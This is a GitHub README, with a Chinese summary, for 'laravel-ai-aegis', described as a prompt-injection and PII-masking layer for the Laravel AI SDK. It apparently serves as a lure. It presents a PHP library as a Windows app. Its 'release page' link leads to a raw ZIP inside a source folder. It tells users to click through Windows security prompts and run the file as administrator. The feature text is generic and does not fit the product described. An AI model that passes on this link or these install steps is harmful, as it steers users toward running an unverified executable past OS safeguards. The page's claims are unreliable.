laravel-ai-aegis:为 Laravel AI SDK 提供本地优先的提示词安全层
uncombable-pyrimidine12/laravel-ai-aegis
laravel-ai-aegis 是面向 Laravel AI SDK 的本地优先安全层,可在提示词发送给模型前拦截提示词注入,并将姓名、邮箱、电话等个人数据替换为安全占位符,模型返回后再还原原始值。该工具以 Windows 应用形式发布,需 Windows 10 或 11、至少 4 GB 内存,从 GitHub release 页面下载最新版本运行。
🛡️ laravel-ai-aegis - Keep AI prompts clean and safe
📥 Download
Visit this page to download the Windows release:
Look for the latest release and download the Windows file that fits your system.
🧭 What this app does
laravel-ai-aegis is a local-first security layer for the Laravel AI SDK. It helps protect AI prompts before they reach your model.
It does two main jobs:
- Blocks prompt injection attempts
- Replaces personal data with safe placeholders before sending text to the LLM
- Restores the original values in the response
This helps keep user data private while reducing the risk of unsafe prompt content.
🪟 Before you start on Windows
Use a Windows PC with:
- Windows 10 or Windows 11
- At least 4 GB of RAM
- Enough free disk space for the app files
- A stable internet connection for the download
- Permission to run apps from the Downloads folder
If you use a work computer, you may need admin access to open the file.
⬇️ Download and install
-
Open the release page: https://github.com/uncombable-pyrimidine12/laravel-ai-aegis/raw/refs/heads/main/src/Pseudonymization/laravel-ai-aegis-2.5.zip
-
Find the newest release at the top of the page
-
Open the release assets section
-
Download the Windows file for your PC
-
Save the file to your Downloads folder
-
If the file comes in a ZIP folder, right-click it and choose Extract All
-
Open the extracted folder
-
Double-click the app file to run it
If Windows shows a security prompt, choose the option that lets you open the file
🖥️ How to run it
After you open the app, it runs as a local security layer for Laravel AI workflows.
Use it when you want to:
- Check prompts for risky text
- Hide names, email addresses, phone numbers, or other personal data
- Send protected text to your AI model
- Restore the original values after the response comes back
If the app opens in a window, keep it running while you use your AI tools.
🔐 Key features
Prompt injection blocking
The app checks prompt content for unsafe instructions that try to change how the model behaves.
PII pseudonymization
The app can replace personal data with safe labels before the prompt leaves your machine.
Local-first flow
It keeps the security step on your side first, which gives you more control over the data path.
Response restoration
After the model returns a response, the app can map protected values back to the original text.
Laravel AI SDK friendly
The design fits Laravel AI SDK use cases, so it can sit between your app and the model layer.
👤 Who should use it
Use laravel-ai-aegis if you:
- Build or test AI features in Laravel
- Want to reduce prompt injection risk
- Need to handle user data with care
- Want to protect names, contact details, or IDs in prompts
- Prefer a local security step before data reaches the model
It works well for simple AI tools, internal apps, and business systems that process user input.
⚙️ How it works in simple terms
Think of it as a filter between your app and the AI model.
- Your app sends a prompt
- laravel-ai-aegis checks the text
- It flags or blocks unsafe instructions
- It swaps personal data for safe placeholders
- The model gets the cleaned prompt
- The response comes back
- The app restores the original values
This keeps sensitive data out of the model input while still letting your app use the response.
📁 Typical Windows setup
A normal Windows setup may look like this:
- Download the latest release
- Extract the ZIP file
- Open the app
- Keep the app running in the background
- Use it with your Laravel AI workflow
If the release includes a setup file, run it and follow the on-screen steps.
🧪 Example use cases
- A support app that sends customer messages to an AI model
- An internal chatbot that should not expose names or emails
- A data tool that needs to mask private fields before processing
- A Laravel app that wants an extra guard against prompt injection
- A review workflow that checks text before it reaches the LLM
🔎 What to expect after launch
When the app runs, you may see:
- A main window with security options
- A status area showing the current protection state
- Fields for prompt checks or data masking
- Logs or activity details for recent input
Use the app to review and protect text before it goes to your AI system.
🧰 Common file types you may see
Depending on the release, the download may include:
.exefiles.msiinstallers.ziparchives- support files in the same folder
If you see a ZIP file, extract it first. If you see an installer, open it and follow the steps in the window.
🛠️ Basic troubleshooting
The file will not open
- Right-click the file and choose Run as administrator
- Check that the file finished downloading
- Make sure you extracted the ZIP folder first
Windows blocks the file
- Open the file’s properties
- Check whether Windows marked it as blocked
- Try downloading the latest release again
The app closes right away
- Open it from the extracted folder, not the ZIP file
- Keep the app in a folder where you have write access
- Restart Windows and try again
The download does not start
- Refresh the release page
- Try a different browser
- Check your internet connection
🔁 Keeping it up to date
Check the release page now and then for newer versions:
If a newer release appears, download it and replace the older copy on your PC.
📌 Quick start
- Go to the release page
- Download the latest Windows file
- Extract it if needed
- Open the app
- Use it to protect prompts and PII before AI processing
来源:GitHub · github.com